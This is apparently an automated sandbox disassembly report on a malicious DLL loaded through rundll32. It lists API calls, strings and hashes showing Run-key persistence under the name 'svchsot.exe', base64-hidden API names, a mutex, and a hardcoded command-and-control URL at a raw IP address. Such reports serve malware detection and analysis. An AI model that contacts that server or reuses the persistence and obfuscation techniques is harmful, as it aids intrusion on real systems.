Instruction ID: 9379413c18c3b9cf1080a2849292561f9d104e05a16b954f86d86dab010ff386
Opcode Fuzzy Hash: e910e69c9fb7de07cf29225844011438d3ce8845e5ccdbd5dc600c0cf43283cc
Instruction Fuzzy Hash: 3641DE361187869BD724CA28C8107FBB7E5EFC4350F48483DA5D48B682DAB8E60DC793

Function 1000B9B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,00000000), ref: 1000BA17
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 1000BA4D
RegCloseKey.ADVAPI32(00000000), ref: 1000BAFD
Sleep.KERNEL32(000493E0), ref: 1000BB08

Strings

svchsot.exe, xrefs: 1000BAC8
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 1000BA0D

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseInfoOpenQuerySleep
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$svchsot.exe
API String ID: 2225969182-2172464104
Opcode ID: c9bf2ff1d13dae5b833a487b8e81c62bbcc5986c1dc27c5d534927ca15fa1c20
Instruction ID: 3ecfd9ec261094238762d341e26dc430852d1dc9185e0953a6393a59da226f92
Opcode Fuzzy Hash: c9bf2ff1d13dae5b833a487b8e81c62bbcc5986c1dc27c5d534927ca15fa1c20
Instruction Fuzzy Hash: 9D313D71209341AFE311CF55CC84FABB7E9FBC9B44F40492DF28596184DA70EA05CBA2

Function 10008E10 Relevance: 10.5, APIs: 7, Instructions: 46sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 10008E24

Part of subcall function 100048E0: CreateMutexA.KERNEL32(?,?,?,10008E45), ref: 100048EF

GetLastError.KERNEL32 ref: 10008E4A
CreateThread.KERNEL32(00000000,00000000,10008AC0,?,00000000,00000000), ref: 10008E70
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10008E77
CloseHandle.KERNEL32(00000000), ref: 10008E7A
Sleep.KERNEL32(00002710), ref: 10008E85
CloseHandle.KERNEL32(00000000), ref: 10008E8E

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateHandle$ErrorLastMutexObjectSingleSleepStartupThreadWait
String ID:
API String ID: 3243752880-0
Opcode ID: 9bbb0afe37d6a0cff180d47d71fffd662c2ae0feb124397235c8bdfd42b3b31a
Instruction ID: 2b476891007528d670aaa261bba301581ebdf0ea9bc8df80ae5b71414b63efd8
Opcode Fuzzy Hash: 9bbb0afe37d6a0cff180d47d71fffd662c2ae0feb124397235c8bdfd42b3b31a
Instruction Fuzzy Hash: D2012875244260BBF2219760DC4EF9F3B68FB8A790F114224FB1C961C2CBB4691083BB

Function 10009530 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 117sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000927C0), ref: 100095EA
wsprintfA.USER32 ref: 1000966F
Sleep.KERNEL32(000927C0), ref: 10009683

Strings

http://107.163.241.204:12354/show.php, xrefs: 100095A3

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Sleep$wsprintf
String ID: http://107.163.241.204:12354/show.php
API String ID: 3195947292-2343821269
Opcode ID: aa6c9d3bb28695e2680ac91108b719837dce01328cd36e7a113264c4bb11100c
Instruction ID: f0ac92a7d81d97515580aba3bf1198aa49dabea17cc57831871ccb142944b746
Opcode Fuzzy Hash: aa6c9d3bb28695e2680ac91108b719837dce01328cd36e7a113264c4bb11100c
Instruction Fuzzy Hash: A531AE716046856BF361CA34CC92ADB3BC6EB453D0F11493CF68587189EA37D84C8352

Function 10011171 Relevance: 3.8, APIs: 3, Instructions: 54COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 1001119F
_initterm.MSVCRT ref: 100111CA
free.MSVCRT ref: 10011207

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: _inittermfreemalloc
String ID:
API String ID: 1678931842-0
Opcode ID: 29de6a0919e72c9ce90837e4cfa0372134af6144f2ffe0f560bbd249553a6893
Instruction ID: 89c66d5e5ef6756a3be054b8b1b5234f4a8a23339d9655e7039f3d4392aee007
Opcode Fuzzy Hash: 29de6a0919e72c9ce90837e4cfa0372134af6144f2ffe0f560bbd249553a6893
Instruction Fuzzy Hash: 2B11A071208226AFF318CBA4DDD5F8A37E5FB08391F11801EE901CB2A0E731E890CB40

Function 10002580 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(6FEC0000,00000000), ref: 100025A4

Strings

TmV0TG9jYWxHcm91cEVudW0=, xrefs: 10002590

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: TmV0TG9jYWxHcm91cEVudW0=
API String ID: 190572456-980335172
Opcode ID: 81376ad01542c8d7aa510b5a1fbaf4177278977829d2dc468818db707d46ecd3
Instruction ID: ee2c1b9eaecec095c1495435bf22087756d9ff6aa0c22ba2e45eaa1fd3928b02
Opcode Fuzzy Hash: 81376ad01542c8d7aa510b5a1fbaf4177278977829d2dc468818db707d46ecd3
Instruction Fuzzy Hash: 98C08CF4800A10DBF602CBB49C84B0633A8E30C18BB008020F41DC221AEB30E2848725

Function 10002640 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(6FEC0000,00000000), ref: 10002664

Strings

TmV0QXBpQnVmZmVyRnJlZQ==, xrefs: 10002650

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: TmV0QXBpQnVmZmVyRnJlZQ==
API String ID: 190572456-3244026974
Opcode ID: 2cb19a475e9f940d8fa42b2659e369d611ebc8e3f3c4efcc642f9a4dc9ee3403
Instruction ID: b49ee88265c95803bbe09daecf6b9b773d0258d54844777730bf0e747ca74e0c
Opcode Fuzzy Hash: 2cb19a475e9f940d8fa42b2659e369d611ebc8e3f3c4efcc642f9a4dc9ee3403
Instruction Fuzzy Hash: 94C08CF8800920DBF642CBB09C84B063398E30C28AB008020F599D221ADB31F2808722

Function 10001000 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 137stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,00000001), ref: 10001155

Strings

VUUU, xrefs: 10001056

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcpy
String ID: VUUU
API String ID: 3722407311-2040033107
Opcode ID: d333b3c2b3d2ade3472a0c98afb8ba078a3a655890211f516e2ff079b765f810
Instruction ID: c786a2ff591aff92977bd3f5140d7e1907602f98ed4a153bb8b8b05817a39e60
Opcode Fuzzy Hash: d333b3c2b3d2ade3472a0c98afb8ba078a3a655890211f516e2ff079b765f810
Instruction Fuzzy Hash: AF416B31B0049207F32DC62C8CB227ABBD2DB922C0B54813EE6C7C7256D9A2DD66C350

Function 1000B5E0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1000B0A0: lstrcpy.KERNEL32(?,?), ref: 1000B0D9
Part of subcall function 1000B0A0: lstrcat.KERNEL32(?,10019BE4), ref: 1000B0F2
Part of subcall function 1000B0A0: lstrcat.KERNEL32(?,*.*), ref: 1000B101
Part of subcall function 1000B0A0: FindFirstFileA.KERNEL32(?,?,?,1000B62C,?), ref: 1000B113

Sleep.KERNEL32(0036EE80), ref: 1000B686

Strings

C:\Program Files, xrefs: 1000B5E9

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcat$FileFindFirstSleeplstrcpy
String ID: C:\Program Files
API String ID: 187370985-1387799010
Opcode ID: 25dcf6cf8a732501d953cf42c955e396105a4153fdc7747b2ad82983722b2fc6
Instruction ID: bf3bebc3486c08cb9be8516adc5afa7db24ceed3d0b344f5df12b39d219439a2
Opcode Fuzzy Hash: 25dcf6cf8a732501d953cf42c955e396105a4153fdc7747b2ad82983722b2fc6
Instruction Fuzzy Hash: 1211A1B88047558BF300DF68ECC15477BE0FB84784F018929E89587326E731D548CBA7

Function 02780FA4 Relevance: 3.0, APIs: 2, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00001000,00000004,?,?), ref: 02780FD3
VirtualProtect.KERNEL32(?,00001000,?,?), ref: 02780FF1

Memory Dump Source

Source File: 00000006.00000002.3886777699.0000000002780000.00000040.00001000.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2780000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 333d2feefedeb4a11df68bec21991a956e925db56d9e6a2917b24d5a107d6d0d
Instruction ID: 160cf3880e6779cab5c045f4ea45e00fba9cbf63e36658e46b109cc29ef6f1de
Opcode Fuzzy Hash: 333d2feefedeb4a11df68bec21991a956e925db56d9e6a2917b24d5a107d6d0d
Instruction Fuzzy Hash: 4EF05933240245AFEB088F64C885EEE3728DF48388B20006AF6029E186CA70E150C750

Function 02780063 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0278007E
VirtualFree.KERNELBASE(00000000,?,00004000), ref: 027800BE

Memory Dump Source

Source File: 00000006.00000002.3886777699.0000000002780000.00000040.00001000.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2780000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c7f3f847bd39c9ffca4c5c83804de00699601861443dcce05f992f4345ead0f0
Instruction ID: 0da543456c81958aceacdf698b3c3ad9715b3146bb1a01502dd42578672ca6b1
Opcode Fuzzy Hash: c7f3f847bd39c9ffca4c5c83804de00699601861443dcce05f992f4345ead0f0
Instruction Fuzzy Hash: 44012272248702BEE7326AA19C00F33BBECDF08322F044C1AFAD5C1090DA22E444DB30

Function 10004C20 Relevance: 1.5, APIs: 1, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNEL32(?,?,?,?,?,?,?,?,?,100090BE,80000001,00000000,?), ref: 10004C4D

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: dcb72b9d121e4c2de8108387673df4cf873707b98aa56f1b6d75724d6adb63c3
Instruction ID: 61b6c47c184ca06b9fd72a7f0ba2ec17e889df0e2832bec4f887a7ac6ceaf705
Opcode Fuzzy Hash: dcb72b9d121e4c2de8108387673df4cf873707b98aa56f1b6d75724d6adb63c3
Instruction Fuzzy Hash: 38E00AB5218601AF9604CF49D894D1BB3F9AFCC700F10CA0CF599C3254D630E806CB62

Function 10004B40 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000003,00000003,00000003,00000003,00000003,40000000,?,1000BBE4,c:\yucdh\ReadMe.txt,40000000,00000003,00000000,00000004,00000080,00000000), ref: 10004B63

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e3e2f9212aea94acbb92fcce48639bc2d0a459d7904b4c206f7290380be75b4f
Instruction ID: 5c848e7f91643569c05fc166510404e816cd169a4a996ef37c8896439641648e
Opcode Fuzzy Hash: e3e2f9212aea94acbb92fcce48639bc2d0a459d7904b4c206f7290380be75b4f
Instruction Fuzzy Hash: 9FD0A2B5618202AF9A44CF98EA94D1BB7E9ABCDB10F10890CB585D3254D670EC49CB73

Function 10004C70 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,75570F10,?,1000AAC6,?,75570F10,00000000,000000FF,?,00000104,?,?,?), ref: 10004C8E

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: ffb0308163dd155646de83dd8a2210b3fab9f6e79644839b9d543c43c24d523b
Instruction ID: c94a5b7a7e223bb3d9d1914b02920bb106f194c5d4b5f7e9879f128cbe4b1ed0
Opcode Fuzzy Hash: ffb0308163dd155646de83dd8a2210b3fab9f6e79644839b9d543c43c24d523b
Instruction Fuzzy Hash: FFD06CB5208342AF9704CF48D884C3BB3E9BBC9600F048D0CB59583210C730E848CB72

Function 10004CC0 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNEL32(?,?,?,?,?,?,10009112,?,EvtMgr,00000000,00000001,?), ref: 10004CDE

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1e0728d56720446dc8f188b8281446978ae8e4751edbaaecc20bf0610a723b72
Instruction ID: 4e55dd93f88442cd77918680cb2b9568ed73352474008d787238a44ed1f05354
Opcode Fuzzy Hash: 1e0728d56720446dc8f188b8281446978ae8e4751edbaaecc20bf0610a723b72
Instruction Fuzzy Hash: CFD0BCB5618742AF9704CF58D994C3BB7F9BBC8601F148D0CB59583254D730EC49CB62

Function 10004960 Relevance: 1.5, APIs: 1, Instructions: 14networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,?,00000000), ref: 1000497E

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 32508bf2d9302bf3b3a7b54a2dd61d357e471c229301823fd5b5295839add9cb
Instruction ID: 4735f6d36abf942a60610c31992a401985b9612102358bc0e507517b78eec5ca
Opcode Fuzzy Hash: 32508bf2d9302bf3b3a7b54a2dd61d357e471c229301823fd5b5295839add9cb
Instruction Fuzzy Hash: 3BD0BCB5618342AF9704CF98D994D3BB7E9BBC8600F148D0CB59583254D770E849CB62

Function 10004CA0 Relevance: 1.5, APIs: 1, Instructions: 12registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,?,?,00020019,1000AA61,80000002,1000B947,00000000,00020019,?,?,?,75570F00), ref: 10004CB9

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a2e6794b69da438bceab8b97c139cd2b7c0f4092ddaf56f468915fc4f32291a7
Instruction ID: 5c6c51c88c469bf1be79a4f7090ddca3a896a7fd69dbc728fef4346d028b715e
Opcode Fuzzy Hash: a2e6794b69da438bceab8b97c139cd2b7c0f4092ddaf56f468915fc4f32291a7
Instruction Fuzzy Hash: FCD0C5B9218201BF9A48CB58D994D2BB3E9ABC8711F00C90CB9AA83240C630E844CB22

Function 10004940 Relevance: 1.5, APIs: 1, Instructions: 12networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(?,?,?,?,?), ref: 10004959

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 7339e42796d01682138bb048caf6184e116aa02b7ddbc024da59192113e8da8c
Instruction ID: 34001bf8c2cba23af082b489c03d04633ad386a3cfdfe005a800718bb59fd30e
Opcode Fuzzy Hash: 7339e42796d01682138bb048caf6184e116aa02b7ddbc024da59192113e8da8c
Instruction Fuzzy Hash: 22D0C5B9218201AF9A08CB98D994D2BB3E9ABC8710F00C90CB5A983240C630E805CB22

Function 10004990 Relevance: 1.5, APIs: 1, Instructions: 10filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000000FF,?), ref: 100049A4

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: ab6710a8ad90ee6585f031abe557087e0a6ac6d22f52f508f6a07348dd43f80f
Instruction ID: 6c775e758488b422e8555d5d40c7ce2a1bba0002f91f32d2b17b760263fb74d8
Opcode Fuzzy Hash: ab6710a8ad90ee6585f031abe557087e0a6ac6d22f52f508f6a07348dd43f80f
Instruction Fuzzy Hash: AAC002F9608301BFDA04CB94C988C6BB7E9EBC8341F00C90CF59983210C634E841CB22

Function 10004A80 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000080,00000080,00000004,00000000,1000BBF2,00000000,00000000,00000000,00000002,c:\yucdh\ReadMe.txt,40000000,00000003,00000000,00000004,00000080,00000000), ref: 10004A94

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9876381e22d22b1458ca2fa761007b452ba81d20bd10a51ea37b9b1aad8e0387
Instruction ID: be9a382d2b369adfd86f05014ed6db0671bf05b4c0ed29ce673cfbf6b32c1ee5
Opcode Fuzzy Hash: 9876381e22d22b1458ca2fa761007b452ba81d20bd10a51ea37b9b1aad8e0387
Instruction Fuzzy Hash: 11C002B9608301BFDA04CB54C888C6BBBE9FBC8350F10C90CF59983210C670E840CB22

Function 100048E0 Relevance: 1.5, APIs: 1, Instructions: 8synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,10008E45), ref: 100048EF

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 77c65636fc826cf76c21ed1c2d636e4c276b75799d8320223db5c848b078b21e
Instruction ID: 0f762730c69bebdb351af9c8d18ff2834a442b22ff34d7319f85fa269715e188
Opcode Fuzzy Hash: 77c65636fc826cf76c21ed1c2d636e4c276b75799d8320223db5c848b078b21e
Instruction Fuzzy Hash: E1C04C78204200BFDA04DB10C984C2BB7A9EBC4611F10C90CB89543210C630EC40DA11

Function 10004B10 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

GetShortPathNameA.KERNEL32(?,?,?), ref: 10004B1F

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: NamePathShort
String ID:
API String ID: 1295925010-0
Opcode ID: d75f39ea44d3613afe9b73ceb1df7c372ebca31a203f543388a093a8c34cc2c1
Instruction ID: fb303a89878e7834feb62f1d6caf84f4d5b544132efa83a72c0d9ccc6a0791d4
Opcode Fuzzy Hash: d75f39ea44d3613afe9b73ceb1df7c372ebca31a203f543388a093a8c34cc2c1
Instruction Fuzzy Hash: 4AC04CB8604200BFDA04CB10C984C2BB7E9EBC4611F00C90CF88942210C674EC40DA11

Function 100014A0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04294068), ref: 100014B6

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c2de9d88f2705f53aabbb0d8b9c739a45cf59583a08265cc16cd9615cabf7428
Instruction ID: 1fe744c34e75f0182e43f18cf51d4d7f27cae1939632f0405d9f60eef7c226b3
Opcode Fuzzy Hash: c2de9d88f2705f53aabbb0d8b9c739a45cf59583a08265cc16cd9615cabf7428
Instruction Fuzzy Hash: 78B092B0800620CBE6128B6088C84473674A30C286300C101F918C3329DB34C104AF60

Function 100014D0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04293060), ref: 100014E6

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 17d20df5874ad623e024423898142ef717f44670455dd5cdfe06f1b52aee7818
Instruction ID: 342590a968157f55c2d3ab9ebc223d1b24caf9f7faf889d873eb8d17b435457b
Opcode Fuzzy Hash: 17d20df5874ad623e024423898142ef717f44670455dd5cdfe06f1b52aee7818
Instruction Fuzzy Hash: D3B092B0D00620CBE6228BA088C840736A4A30C285310C001F828C3229D730C104EB20

Function 10004D10 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

Process32First.KERNEL32(00000000,00000000), ref: 10004D1A

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: dab0bdb54be907f82e8721a8c51a438edc5b27b96b71f1468851624b5224a6ea
Instruction ID: 4a178e57590d1581f80c420128f97eb37e1fa546ae14f4cc031d9ed7fbd191d3
Opcode Fuzzy Hash: dab0bdb54be907f82e8721a8c51a438edc5b27b96b71f1468851624b5224a6ea
Instruction Fuzzy Hash: F4B092B5204200ABD204DB10CA84C2BB7A8AB94301B00880CF48A82110C638D840CB21

Function 10001530 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04291050), ref: 10001546

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
